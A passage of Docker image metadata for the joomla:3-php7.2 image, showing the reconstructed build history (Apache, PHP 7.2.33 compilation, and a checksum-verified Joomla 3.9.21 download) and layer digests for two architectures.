RUN set -eux; apt-get update; apt-get install -y --no-install-recommends apache2; rm -rf /var/lib/apt/lists/*; sed -ri 's/^export ([^=]+)=(.*)$/: ${\1:=\2}\nexport \1/' "$APACHE_ENVVARS"; . "$APACHE_ENVVARS"; for dir in "$APACHE_LOCK_DIR" "$APACHE_RUN_DIR" "$APACHE_LOG_DIR" ; do rm -rvf "$dir"; mkdir -p "$dir"; chown "$APACHE_RUN_USER:$APACHE_RUN_GROUP" "$dir"; chmod 777 "$dir"; done; rm -rvf /var/www/html/*; ln -sfT /dev/stderr "$APACHE_LOG_DIR/error.log"; ln -sfT /dev/stdout "$APACHE_LOG_DIR/access.log"; ln -sfT /dev/stdout "$APACHE_LOG_DIR/other_vhosts_access.log"; chown -R --no-dereference "$APACHE_RUN_USER:$APACHE_RUN_GROUP" "$APACHE_LOG_DIR"
# Thu, 10 Sep 2020 02:26:15 GMT
RUN a2dismod mpm_event && a2enmod mpm_prefork
# Thu, 10 Sep 2020 02:26:17 GMT
RUN { echo '<FilesMatch \.php$>'; echo '\tSetHandler application/x-httpd-php'; echo '</FilesMatch>'; echo; echo 'DirectoryIndex disabled'; echo 'DirectoryIndex index.php index.html'; echo; echo '<Directory /var/www/>'; echo '\tOptions -Indexes'; echo '\tAllowOverride All'; echo '</Directory>'; } | tee "$APACHE_CONFDIR/conf-available/docker-php.conf" && a2enconf docker-php
# Thu, 10 Sep 2020 02:26:18 GMT
ENV PHP_EXTRA_BUILD_DEPS=apache2-dev
# Thu, 10 Sep 2020 02:26:20 GMT
ENV PHP_EXTRA_CONFIGURE_ARGS=--with-apxs2 --disable-cgi
# Thu, 10 Sep 2020 02:26:21 GMT
ENV PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
# Thu, 10 Sep 2020 02:26:22 GMT
ENV PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
# Thu, 10 Sep 2020 02:26:23 GMT
ENV PHP_LDFLAGS=-Wl,-O1 -pie
# Thu, 10 Sep 2020 03:57:44 GMT
ENV GPG_KEYS=1729F83938DA44E27BA0F4D3DBDB397470D12172 B1B44D8F021E4E2D6021E995DC9FF8D3EE5AF27F
# Thu, 10 Sep 2020 03:57:46 GMT
ENV PHP_VERSION=7.2.33
# Thu, 10 Sep 2020 03:57:49 GMT
ENV PHP_URL=https://www.php.net/distributions/php-7.2.33.tar.xz PHP_ASC_URL=https://www.php.net/distributions/php-7.2.33.tar.xz.asc
# Thu, 10 Sep 2020 03:57:50 GMT
ENV PHP_SHA256=0f160a3483ffce36be5962fab7bcf09d605ee66c5707df83e4195cb796bbb03a PHP_MD5=
# Thu, 10 Sep 2020 03:58:22 GMT
RUN set -eux; savedAptMark="$(apt-mark showmanual)"; apt-get update; apt-get install -y --no-install-recommends gnupg dirmngr; rm -rf /var/lib/apt/lists/*; mkdir -p /usr/src; cd /usr/src; curl -fsSL -o php.tar.xz "$PHP_URL"; if [ -n "$PHP_SHA256" ]; then echo "$PHP_SHA256 *php.tar.xz" | sha256sum -c -; fi; if [ -n "$PHP_MD5" ]; then echo "$PHP_MD5 *php.tar.xz" | md5sum -c -; fi; if [ -n "$PHP_ASC_URL" ]; then curl -fsSL -o php.tar.xz.asc "$PHP_ASC_URL"; export GNUPGHOME="$(mktemp -d)"; for key in $GPG_KEYS; do gpg --batch --keyserver ha.pool.sks-keyservers.net --recv-keys "$key"; done; gpg --batch --verify php.tar.xz.asc php.tar.xz; gpgconf --kill all; rm -rf "$GNUPGHOME"; fi; apt-mark auto '.*' > /dev/null; apt-mark manual $savedAptMark > /dev/null; apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false
# Thu, 10 Sep 2020 03:58:24 GMT
COPY file:ce57c04b70896f77cc11eb2766417d8a1240fcffe5bba92179ec78c458844110 in /usr/local/bin/
# Thu, 10 Sep 2020 04:02:33 GMT
RUN set -eux; savedAptMark="$(apt-mark showmanual)"; apt-get update; apt-get install -y --no-install-recommends libargon2-dev libcurl4-openssl-dev libedit-dev libsodium-dev libsqlite3-dev libssl-dev libxml2-dev zlib1g-dev ${PHP_EXTRA_BUILD_DEPS:-} ; rm -rf /var/lib/apt/lists/*; export CFLAGS="$PHP_CFLAGS" CPPFLAGS="$PHP_CPPFLAGS" LDFLAGS="$PHP_LDFLAGS" ; docker-php-source extract; cd /usr/src/php; gnuArch="$(dpkg-architecture --query DEB_BUILD_GNU_TYPE)"; debMultiarch="$(dpkg-architecture --query DEB_BUILD_MULTIARCH)"; if [ ! -d /usr/include/curl ]; then ln -sT "/usr/include/$debMultiarch/curl" /usr/local/include/curl; fi; ./configure --build="$gnuArch" --with-config-file-path="$PHP_INI_DIR" --with-config-file-scan-dir="$PHP_INI_DIR/conf.d" --enable-option-checking=fatal --with-mhash --enable-ftp --enable-mbstring --enable-mysqlnd --with-password-argon2 --with-sodium=shared --with-pdo-sqlite=/usr --with-sqlite3=/usr --with-curl --with-libedit --with-openssl --with-zlib $(test "$gnuArch" = 's390x-linux-gnu' && echo '--without-pcre-jit') --with-libdir="lib/$debMultiarch" ${PHP_EXTRA_CONFIGURE_ARGS:-} ; make -j "$(nproc)"; find -type f -name '*.a' -delete; make install; find /usr/local/bin /usr/local/sbin -type f -executable -exec strip --strip-all '{}' + || true; make clean; cp -v php.ini-* "$PHP_INI_DIR/"; cd /; docker-php-source delete; apt-mark auto '.*' > /dev/null; [ -z "$savedAptMark" ] || apt-mark manual $savedAptMark; find /usr/local -type f -executable -exec ldd '{}' ';' | awk '/=>/ { print $(NF-1) }' | sort -u | xargs -r dpkg-query --search | cut -d: -f1 | sort -u | xargs -r apt-mark manual ; apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false; pecl update-channels; rm -rf /tmp/pear ~/.pearrc; php --version
# Thu, 10 Sep 2020 04:02:38 GMT
COPY multi:af24b1d34daac0a277386947399eceaaf20d3065d4be5db00b1d6466cf006c49 in /usr/local/bin/
# Thu, 10 Sep 2020 04:02:48 GMT
RUN docker-php-ext-enable sodium
# Thu, 10 Sep 2020 04:02:59 GMT
RUN { echo '#!/bin/sh'; echo 'exec pkg-config "$@" freetype2'; } > /usr/local/bin/freetype-config && chmod +x /usr/local/bin/freetype-config
# Thu, 10 Sep 2020 04:03:02 GMT
ENTRYPOINT ["docker-php-entrypoint"]
# Thu, 10 Sep 2020 04:03:04 GMT
STOPSIGNAL SIGWINCH
# Thu, 10 Sep 2020 04:03:06 GMT
COPY file:e3123fcb6566efa979f945bfac1c94c854a559d7b82723e42118882a8ac4de66 in /usr/local/bin/
# Thu, 10 Sep 2020 04:03:07 GMT
WORKDIR /var/www/html
# Thu, 10 Sep 2020 04:03:09 GMT
EXPOSE 80
# Thu, 10 Sep 2020 04:03:10 GMT
CMD ["apache2-foreground"]
# Thu, 10 Sep 2020 15:22:46 GMT
LABEL maintainer=Harald Leithner <[email protected]> (@HLeithner)
# Thu, 10 Sep 2020 15:22:48 GMT
ENV JOOMLA_INSTALLATION_DISABLE_LOCALHOST_CHECK=1
# Thu, 10 Sep 2020 15:22:59 GMT
RUN a2enmod rewrite
# Thu, 10 Sep 2020 15:26:01 GMT
RUN set -ex; savedAptMark="$(apt-mark showmanual)"; apt-get update; apt-get install -y --no-install-recommends libbz2-dev libgmp-dev libjpeg-dev libldap2-dev libmcrypt-dev libmemcached-dev libpng-dev libpq-dev ; docker-php-ext-configure gd --with-jpeg-dir=/usr --with-png-dir=/usr; debMultiarch="$(dpkg-architecture --query DEB_BUILD_MULTIARCH)"; docker-php-ext-configure ldap --with-libdir="lib/$debMultiarch"; docker-php-ext-install -j "$(nproc)" bz2 gd gmp ldap mysqli pdo_mysql pdo_pgsql pgsql zip ; pecl install APCu-5.1.18; pecl install memcached-3.1.5; pecl install redis-4.3.0; docker-php-ext-enable apcu memcached redis ; apt-mark auto '.*' > /dev/null; apt-mark manual $savedAptMark; ldd "$(php -r 'echo ini_get("extension_dir");')"/*.so | awk '/=>/ { print $3 }' | sort -u | xargs -r dpkg-query -S | cut -d: -f1 | sort -u | xargs -rt apt-mark manual; apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false; rm -rf /var/lib/apt/lists/*
# Thu, 10 Sep 2020 15:26:02 GMT
VOLUME [/var/www/html]
# Thu, 10 Sep 2020 15:26:04 GMT
ENV JOOMLA_VERSION=3.9.21
# Thu, 10 Sep 2020 15:26:05 GMT
ENV JOOMLA_SHA512=603027bb54f1aa0c37ecdac7438ce1294120b82a16f6c5b6671d1344e87816cc999d9b7e7fe149800e26d937a97fba383817d3e1c71bd23b1a2d380758de3a1d
# Thu, 10 Sep 2020 15:26:26 GMT
RUN set -ex; curl -o joomla.tar.bz2 -SL https://github.com/joomla/joomla-cms/releases/download/${JOOMLA_VERSION}/Joomla_${JOOMLA_VERSION}-Stable-Full_Package.tar.bz2; echo "$JOOMLA_SHA512 *joomla.tar.bz2" | sha512sum -c -; mkdir /usr/src/joomla; tar -xf joomla.tar.bz2 -C /usr/src/joomla; rm joomla.tar.bz2; chown -R www-data:www-data /usr/src/joomla
# Thu, 10 Sep 2020 15:26:29 GMT
COPY file:f6b7a1c96cc89593a2b9ce4c68af350ae02f2e0c654cd5e842ff6c03641d470e in /entrypoint.sh
# Thu, 10 Sep 2020 15:26:33 GMT
COPY file:5a85d779aaae74cfa3ab6228df0f24236d4d5ad9097e2a1b277e3daea0d6d3dc in /makedb.php
# Thu, 10 Sep 2020 15:26:34 GMT
ENTRYPOINT ["/entrypoint.sh"]
# Thu, 10 Sep 2020 15:26:35 GMT
CMD ["apache2-foreground"]
```
- Layers:
- `sha256:0a51b5143468e1b44dafa16fea3541e28e369071f6837337ee95e37f0ad81d99`
Last Modified: Thu, 10 Sep 2020 00:02:48 GMT
Size: 24.8 MB (24835974 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:4ca52621e29f0be906227dd042c4f23109d45e98133e6803aee1fad26c1b9853`
Last Modified: Thu, 10 Sep 2020 04:34:12 GMT
Size: 228.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:b3919fd67c6fcaafe16fd897b661b5e1035df3defb96c7a2889e35349a70445f`
Last Modified: Thu, 10 Sep 2020 04:34:26 GMT
Size: 58.8 MB (58801370 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:b3cac75e8ebdf4a331c6f82fe7860ac1631d98af62eeb150a688a5e59f4a4a13`
Last Modified: Thu, 10 Sep 2020 04:34:02 GMT
Size: 269.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:ec46f146fcd7d9ab2bb276e9489913ca71dc702dcd19dcbc0fd2995b2f1ce726`
Last Modified: Thu, 10 Sep 2020 04:34:56 GMT
Size: 18.0 MB (18024594 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:d13b387d0cce3a11f1402a960019ddfd81f5bf135cbc4e8743a4c69e0b54de10`
Last Modified: Thu, 10 Sep 2020 04:34:50 GMT
Size: 477.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:139b2c26bc80db81f9c786d2d72b40248683227b975a8ae70780e2fe2f029c63`
Last Modified: Thu, 10 Sep 2020 04:34:50 GMT
Size: 516.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:c2be6e300668e791c083d2d8fffeb5c54e12c5d8ec811a78e5b1cd060f62a175`
Last Modified: Thu, 10 Sep 2020 04:40:31 GMT
Size: 12.6 MB (12647207 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:47e2e506c8c7cbd9f7df83d5a2d1b6c6a5e39ecdc83eeceef5b1be2249c6c647`
Last Modified: Thu, 10 Sep 2020 04:40:29 GMT
Size: 494.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:d54236b7a92981dac2b97c7ca2785fcf56984a1b312f5bb4e070cff0c0bf02da`
Last Modified: Thu, 10 Sep 2020 04:40:32 GMT
Size: 12.9 MB (12893798 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:06a28bf8ea6723cc5708253062cbaf698d5ebbeecd99c21c2d83c49a17a6efb0`
Last Modified: Thu, 10 Sep 2020 04:40:27 GMT
Size: 2.3 KB (2285 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:8e346fb6980b5b985dad45bb8f75dc457d3264fe660b5ace1d8f768ab61ab2c3`
Last Modified: Thu, 10 Sep 2020 04:40:27 GMT
Size: 249.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:0fb446cc7090ecc61e55f47a381374f694f6758bcef21977759a6fa5a1adeb10`
Last Modified: Thu, 10 Sep 2020 04:40:28 GMT
Size: 211.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:d2eabfdca8c83914e88fc2ddfb6ba624357d071446e6f467a2fa9a9e4467fc09`
Last Modified: Thu, 10 Sep 2020 04:40:27 GMT
Size: 894.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:68543c4d43a71b37959bd68fe6a937269511dd55d8bb02c504e8b0ae88935760`
Last Modified: Thu, 10 Sep 2020 15:47:08 GMT
Size: 315.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:a57679b0e235a9d4a94613b01940bca0b197690f4486009372298ab50977e499`
Last Modified: Thu, 10 Sep 2020 15:47:09 GMT
Size: 3.2 MB (3213173 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:4b3d9b380709aeb150d2b87ad09405a4c18f30660d8e87221e7fcc93c46536c3`
Last Modified: Thu, 10 Sep 2020 15:47:13 GMT
Size: 9.7 MB (9686480 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:195018367501dcf78a62e8b5689696b0c5f62faf302ea715225b26d8cee1d6f2`
Last Modified: Thu, 10 Sep 2020 15:47:08 GMT
Size: 1.2 KB (1202 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:d10d4bc10601db3afded034b0a1de1b0a003927d63066e09cbd549284a05a498`
Last Modified: Thu, 10 Sep 2020 15:47:08 GMT
Size: 614.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
### `joomla:3-php7.2` - linux; arm variant v7
```console
$ docker pull joomla@sha256:f1e3dc7f9dbca686791089e97b280fb83eb0cb79aa5b9fc837d0011f16d8028f
```
- Docker Version: 19.03.12
- Manifest MIME: `application/vnd.docker.distribution.manifest.v2+json`
- Total Size: **137.3 MB (137323172 bytes)**
(compressed transfer size, not on-disk size)
- Image ID: `sha256:7383d834395338d45dbf2a619c46cb4275ca1267704283bf430314607cea5815`
- Entrypoint: `["\/entrypoint.sh"]`
- Default Command: `["apache2-foreground"]`
```dockerfile
# Thu, 10 Sep 2020 00:08:04 GMT
ADD file:5ec0d2c3043ae64cb72698b0f6fe7387884f4195df962466215ce534d2208327 in /
# Thu, 10 Sep 2020 00:08:06 GMT
CMD ["bash"]
# Thu, 10 Sep 2020 08:24:54 GMT
RUN set -eux; { echo 'Package: php*'; echo 'Pin: release *'; echo 'Pin-Priority: -1'; } > /etc/apt/preferences.d/no-debian-php
# Thu, 10 Sep 2020 08:24:56 GMT
ENV PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
# Thu, 10 Sep 2020 08:25:58 GMT
RUN set -eux; apt-get update; apt-get install -y --no-install-recommends $PHPIZE_DEPS ca-certificates curl xz-utils ; rm -rf /var/lib/apt/lists/*
# Thu, 10 Sep 2020 08:26:02 GMT
ENV PHP_INI_DIR=/usr/local/etc/php
# Thu, 10 Sep 2020 08:26:28 GMT
RUN set -eux; mkdir -p "$PHP_INI_DIR/conf.d"; [ ! -d /var/www/html ]; mkdir -p /var/www/html; chown www-data:www-data /var/www/html; chmod 777 /var/www/html
# Thu, 10 Sep 2020 08:32:07 GMT
ENV APACHE_CONFDIR=/etc/apache2
# Thu, 10 Sep 2020 08:32:10 GMT
ENV APACHE_ENVVARS=/etc/apache2/envvars
# Thu, 10 Sep 2020 08:32:47 GMT
RUN set -eux; apt-get update; apt-get install -y --no-install-recommends apache2; rm -rf /var/lib/apt/lists/*; sed -ri 's/^export ([^=]+)=(.*)$/: ${\1:=\2}\nexport \1/' "$APACHE_ENVVARS"; . "$APACHE_ENVVARS"; for dir in "$APACHE_LOCK_DIR" "$APACHE_RUN_DIR" "$APACHE_LOG_DIR" ; do rm -rvf "$dir"; mkdir -p "$dir"; chown "$APACHE_RUN_USER:$APACHE_RUN_GROUP" "$dir"; chmod 777 "$dir"; done; rm -rvf /var/www/html/*; ln -sfT /dev/stderr "$APACHE_LOG_DIR/error.log"; ln -sfT /dev/stdout "$APACHE_LOG_DIR/access.log"; ln -sfT /dev/stdout "$APACHE_LOG_DIR/other_vhosts_access.log"; chown -R --no-dereference "$APACHE_RUN_USER:$APACHE_RUN_GROUP" "$APACHE_LOG_DIR"
# Thu, 10 Sep 2020 08:33:06 GMT
RUN a2dismod mpm_event && a2enmod mpm_prefork
# Thu, 10 Sep 2020 08:33:22 GMT
RUN { echo '<FilesMatch \.php$>'; echo '\tSetHandler application/x-httpd-php'; echo '</FilesMatch>'; echo; echo 'DirectoryIndex disabled'; echo 'DirectoryIndex index.php index.html'; echo; echo '<Directory /var/www/>'; echo '\tOptions -Indexes'; echo '\tAllowOverride All'; echo '</Directory>'; } | tee "$APACHE_CONFDIR/conf-available/docker-php.conf" && a2enconf docker-php
# Thu, 10 Sep 2020 08:33:23 GMT
ENV PHP_EXTRA_BUILD_DEPS=apache2-dev
# Thu, 10 Sep 2020 08:33:25 GMT
ENV PHP_EXTRA_CONFIGURE_ARGS=--with-apxs2 --disable-cgi
# Thu, 10 Sep 2020 08:33:27 GMT
ENV PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
# Thu, 10 Sep 2020 08:33:30 GMT
ENV PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
# Thu, 10 Sep 2020 08:33:30 GMT
ENV PHP_LDFLAGS=-Wl,-O1 -pie
# Thu, 10 Sep 2020 10:05:56 GMT
ENV GPG_KEYS=1729F83938DA44E27BA0F4D3DBDB397470D12172 B1B44D8F021E4E2D6021E995DC9FF8D3EE5AF27F
# Thu, 10 Sep 2020 10:06:00 GMT
ENV PHP_VERSION=7.2.33
# Thu, 10 Sep 2020 10:06:02 GMT
ENV PHP_URL=https://www.php.net/distributions/php-7.2.33.tar.xz PHP_ASC_URL=https://www.php.net/distributions/php-7.2.33.tar.xz.asc
# Thu, 10 Sep 2020 10:06:05 GMT
ENV PHP_SHA256=0f160a3483ffce36be5962fab7bcf09d605ee66c5707df83e4195cb796bbb03a PHP_MD5=
# Thu, 10 Sep 2020 10:06:42 GMT
RUN set -eux; savedAptMark="$(apt-mark showmanual)"; apt-get update; apt-get install -y --no-install-recommends gnupg dirmngr; rm -rf /var/lib/apt/lists/*; mkdir -p /usr/src; cd /usr/src; curl -fsSL -o php.tar.xz "$PHP_URL"; if [ -n "$PHP_SHA256" ]; then echo "$PHP_SHA256 *php.tar.xz" | sha256sum -c -; fi; if [ -n "$PHP_MD5" ]; then echo "$PHP_MD5 *php.tar.xz" | md5sum -c -; fi; if [ -n "$PHP_ASC_URL" ]; then curl -fsSL -o php.tar.xz.asc "$PHP_ASC_URL"; export GNUPGHOME="$(mktemp -d)"; for key in $GPG_KEYS; do gpg --batch --keyserver ha.pool.sks-keyservers.net --recv-keys "$key"; done; gpg --batch --verify php.tar.xz.asc php.tar.xz; gpgconf --kill all; rm -rf "$GNUPGHOME"; fi; apt-mark auto '.*' > /dev/null; apt-mark manual $savedAptMark > /dev/null; apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false
# Thu, 10 Sep 2020 10:06:45 GMT
COPY file:ce57c04b70896f77cc11eb2766417d8a1240fcffe5bba92179ec78c458844110 in /usr/local/bin/
# Thu, 10 Sep 2020 10:09:39 GMT
RUN set -eux; savedAptMark="$(apt-mark showmanual)"; apt-get update; apt-get install -y --no-install-recommends libargon2-dev libcurl4-openssl-dev libedit-dev libsodium-dev libsqlite3-dev libssl-dev libxml2-dev zlib1g-dev ${PHP_EXTRA_BUILD_DEPS:-} ; rm -rf /var/lib/apt/lists/*; export CFLAGS="$PHP_CFLAGS" CPPFLAGS="$PHP_CPPFLAGS" LDFLAGS="$PHP_LDFLAGS" ; docker-php-source extract; cd /usr/src/php; gnuArch="$(dpkg-architecture --query DEB_BUILD_GNU_TYPE)"; debMultiarch="$(dpkg-architecture --query DEB_BUILD_MULTIARCH)"; if [ ! -d /usr/include/curl ]; then ln -sT "/usr/include/$debMultiarch/curl" /usr/local/include/curl; fi; ./configure --build="$gnuArch" --with-config-file-path="$PHP_INI_DIR" --with-config-file-scan-dir="$PHP_INI_DIR/conf.d" --enable-option-checking=fatal --with-mhash --enable-ftp --enable-mbstring --enable-mysqlnd --with-password-argon2 --with-sodium=shared --with-pdo-sqlite=/usr --with-sqlite3=/usr --with-curl --with-libedit --with-openssl --with-zlib $(test "$gnuArch" = 's390x-linux-gnu' && echo '--without-pcre-jit') --with-libdir="lib/$debMultiarch" ${PHP_EXTRA_CONFIGURE_ARGS:-} ; make -j "$(nproc)"; find -type f -name '*.a' -delete; make install; find /usr/local/bin /usr/local/sbin -type f -executable -exec strip --strip-all '{}' + || true; make clean; cp -v php.ini-* "$PHP_INI_DIR/"; cd /; docker-php-source delete; apt-mark auto '.*' > /dev/null; [ -z "$savedAptMark" ] || apt-mark manual $savedAptMark; find /usr/local -type f -executable -exec ldd '{}' ';' | awk '/=>/ { print $(NF-1) }' | sort -u | xargs -r dpkg-query --search | cut -d: -f1 | sort -u | xargs -r apt-mark manual ; apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false; pecl update-channels; rm -rf /tmp/pear ~/.pearrc; php --version
# Thu, 10 Sep 2020 10:09:49 GMT
COPY multi:af24b1d34daac0a277386947399eceaaf20d3065d4be5db00b1d6466cf006c49 in /usr/local/bin/
# Thu, 10 Sep 2020 10:10:06 GMT
RUN docker-php-ext-enable sodium
# Thu, 10 Sep 2020 10:10:26 GMT
RUN { echo '#!/bin/sh'; echo 'exec pkg-config "$@" freetype2'; } > /usr/local/bin/freetype-config && chmod +x /usr/local/bin/freetype-config
# Thu, 10 Sep 2020 10:10:27 GMT
ENTRYPOINT ["docker-php-entrypoint"]
# Thu, 10 Sep 2020 10:10:32 GMT
STOPSIGNAL SIGWINCH
# Thu, 10 Sep 2020 10:10:36 GMT
COPY file:e3123fcb6566efa979f945bfac1c94c854a559d7b82723e42118882a8ac4de66 in /usr/local/bin/
# Thu, 10 Sep 2020 10:10:38 GMT
WORKDIR /var/www/html
# Thu, 10 Sep 2020 10:10:41 GMT
EXPOSE 80
# Thu, 10 Sep 2020 10:10:45 GMT
CMD ["apache2-foreground"]
# Fri, 11 Sep 2020 01:37:38 GMT
LABEL maintainer=Harald Leithner <[email protected]> (@HLeithner)
# Fri, 11 Sep 2020 01:37:39 GMT
ENV JOOMLA_INSTALLATION_DISABLE_LOCALHOST_CHECK=1
# Fri, 11 Sep 2020 01:37:45 GMT
RUN a2enmod rewrite
# Fri, 11 Sep 2020 01:42:06 GMT
RUN set -ex; savedAptMark="$(apt-mark showmanual)"; apt-get update; apt-get install -y --no-install-recommends libbz2-dev libgmp-dev libjpeg-dev libldap2-dev libmcrypt-dev libmemcached-dev libpng-dev libpq-dev ; docker-php-ext-configure gd --with-jpeg-dir=/usr --with-png-dir=/usr; debMultiarch="$(dpkg-architecture --query DEB_BUILD_MULTIARCH)"; docker-php-ext-configure ldap --with-libdir="lib/$debMultiarch"; docker-php-ext-install -j "$(nproc)" bz2 gd gmp ldap mysqli pdo_mysql pdo_pgsql pgsql zip ; pecl install APCu-5.1.18; pecl install memcached-3.1.5; pecl install redis-4.3.0; docker-php-ext-enable apcu memcached redis ; apt-mark auto '.*' > /dev/null; apt-mark manual $savedAptMark; ldd "$(php -r 'echo ini_get("extension_dir");')"/*.so | awk '/=>/ { print $3 }' | sort -u | xargs -r dpkg-query -S | cut -d: -f1 | sort -u | xargs -rt apt-mark manual; apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false; rm -rf /var/lib/apt/lists/*
# Fri, 11 Sep 2020 01:42:07 GMT
VOLUME [/var/www/html]
# Fri, 11 Sep 2020 01:42:09 GMT
ENV JOOMLA_VERSION=3.9.21
# Fri, 11 Sep 2020 01:42:12 GMT
ENV JOOMLA_SHA512=603027bb54f1aa0c37ecdac7438ce1294120b82a16f6c5b6671d1344e87816cc999d9b7e7fe149800e26d937a97fba383817d3e1c71bd23b1a2d380758de3a1d
# Fri, 11 Sep 2020 01:42:38 GMT
RUN set -ex; curl -o joomla.tar.bz2 -SL https://github.com/joomla/joomla-cms/releases/download/${JOOMLA_VERSION}/Joomla_${JOOMLA_VERSION}-Stable-Full_Package.tar.bz2; echo "$JOOMLA_SHA512 *joomla.tar.bz2" | sha512sum -c -; mkdir /usr/src/joomla; tar -xf joomla.tar.bz2 -C /usr/src/joomla; rm joomla.tar.bz2; chown -R www-data:www-data /usr/src/joomla
# Fri, 11 Sep 2020 01:42:41 GMT
COPY file:f6b7a1c96cc89593a2b9ce4c68af350ae02f2e0c654cd5e842ff6c03641d470e in /entrypoint.sh
# Fri, 11 Sep 2020 01:42:43 GMT
COPY file:5a85d779aaae74cfa3ab6228df0f24236d4d5ad9097e2a1b277e3daea0d6d3dc in /makedb.php
# Fri, 11 Sep 2020 01:42:46 GMT
ENTRYPOINT ["/entrypoint.sh"]
# Fri, 11 Sep 2020 01:42:48 GMT
CMD ["apache2-foreground"]
```
- Layers:
- `sha256:a7c65856610cb24c46ede2ffe313cbf933c44fa20ba213835af953646f3eb1ed`
Last Modified: Thu, 10 Sep 2020 00:17:52 GMT
Size: 22.7 MB (22699896 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:643be151265f556a263774f5b21b7accd984f18c255388e7760c8d2d44416fd0`
Last Modified: Thu, 10 Sep 2020 10:47:57 GMT
Size: 228.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:a849c10c3e87343a463ee7084ac0544d6b8499ddc44119b7612900ba8d1f9426`
Last Modified: Thu, 10 Sep 2020 10:48:15 GMT
Size: 59.5 MB (59507912 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:333d40d36c170afca40c7040d7daff5778b30f80388c97c53b96297729b8c52f`
Last Modified: Thu, 10 Sep 2020 10:47:57 GMT
Size: 269.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:0abcee801ef52d311033c3a66712700fd2806bcf3587bcc5d824817dd9a16ea3`
Last Modified: Thu, 10 Sep 2020 10:48:45 GMT
Size: 17.5 MB (17481058 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:e69654f5fc997466e182760ab512512a9b54b060f9ca50ca16357f28dee54a4f`
Last Modified: Thu, 10 Sep 2020 10:48:40 GMT
Size: 474.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:9d0aa9123174e9d9edbce8dcc9ca705df6a8f1db85c9828f5e1ca1d46f29aab0`
Last Modified: Thu, 10 Sep 2020 10:48:40 GMT
Size: 516.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:2a6fedd426cb62a7ccdb6d7e576a5ed5f88872c845995076993faca9a52b17f6`
Last Modified: Thu, 10 Sep 2020 10:56:01 GMT
Size: 12.6 MB (12647175 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:d5204e16e71a6af0c113208cbac36dcf9e6293116de071ebb2b1c6f30f8ab94e`
Last Modified: Thu, 10 Sep 2020 10:55:59 GMT
Size: 495.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:7b9ad20044cca1f62763971926155200568bc9fce3a622aa87de7a709b579681`
Last Modified: Thu, 10 Sep 2020 10:56:01 GMT
Size: 12.2 MB (12163809 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:551218c1eaac8c36a0bd837c57925e9a11518e38904b49cc650069b77b638e3d`
Last Modified: Thu, 10 Sep 2020 10:55:58 GMT
Size: 2.3 KB (2284 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:7a9edf5cfb8422c7d47e81cfe9f6d5f712518e5a388845c6f79dceda6ad71a6b`
Last Modified: Thu, 10 Sep 2020 10:55:57 GMT
Size: 247.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:affbade9dd7132aba7a0fbc975f19ea9c172754143d6e617b55ee378cb3c5c60`
Last Modified: Thu, 10 Sep 2020 10:55:58 GMT
Size: 213.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:ef6acccf573b62d0cd567fa1c5367503b27d0f63baab0e51f1286d06945befb3`
Last Modified: Thu, 10 Sep 2020 10:55:57 GMT
Size: 896.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:13111c36408dd6e78a28926dfe78cf4e2e74c212ebd7aab4d26d31045aa7ec4a`
Last Modified: Fri, 11 Sep 2020 02:03:20 GMT
Size: 314.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
